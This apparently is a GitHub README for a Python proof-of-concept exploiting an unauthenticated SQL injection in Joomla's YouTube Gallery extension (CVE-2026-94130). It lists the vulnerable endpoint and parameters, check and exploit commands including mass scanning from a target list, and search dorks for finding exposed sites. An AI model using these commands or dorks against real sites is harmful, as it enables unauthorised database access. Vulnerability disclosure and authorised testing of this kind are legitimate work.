murrez/cve-2026-94130Python PoC that checks and exploits unauthenticated SQL injection in Joomla YouTube Gallery (com_youtubegallery) ≤ 5.7.2 via the public yg_api search and sort parameters.
Python 3 PoC for CVE-2026-94130 — YouTube Gallery (com_youtubegallery, joomlaboat.com).
CVE-2026-94130 — YouTube Gallery for Joomla ≤ 5.7.2 allows unauthenticated SQL injection (CWE-89, CVSS 4.0 9.3 Critical) in video search and sorting request handling. Attackers can inject SQL into read queries without login. Fixed in 5.7.3 (Sep 2026).
PoC page: https://pocbit.org/pocs/cve-2026-94130
Catalog: https://pocbit.org/pocs/
| Product | YouTube Gallery extension for Joomla |
| Component | com_youtubegallery |
| Affected | 1.0.0 – 5.7.2 |
| Fixed | 5.7.3 |
| Vector | Public gallery / yg_api=1 JSON API; params include ygsearchfields, ygsearchquery, sort-related GET params |
| Assigner | Joomla CNA |
pip install -r requirements.txt
python poc.py -u https://joomla.example --mode check
python poc.py -u https://joomla.example --mode check --sqli-probe --listid 1 --themeid 1
python poc.py -u https://joomla.example --mode check --scan-ids --sqli-probe --delay 5
python poc.py --list targets.example.txt --mode check -j 10 --sqli-probe
Example API surface (requires valid listid + themeid):
/index.php?option=com_youtubegallery&view=youtubegallery&listid=1&themeid=1&yg_api=1
&ygsearchfields=es_title&ygsearchquery=...
body="com_youtubegallery"
inurl:"option=com_youtubegallery"
Unauthenticated SQL injection in Joomla YouTube Gallery (joomlaboat.com) ≤ 5.7.2 via video search/sort on the public yg_api endpoint. Python check/exploit PoC — PoCbit.
CVE-2026-94130: Joomla YouTube Gallery eklentisinde (≤ 5.7.2) oturumsuz SQL enjeksiyonu; arama ve sıralama istekleriyle veritabanı okuma sorgularına müdahale. 5.7.3 ile giderildi. CVSS 4.0 9.3 Critical.
Authorized testing only. --sqli-probe / --mode exploit send intentional SQL payloads (including SLEEP).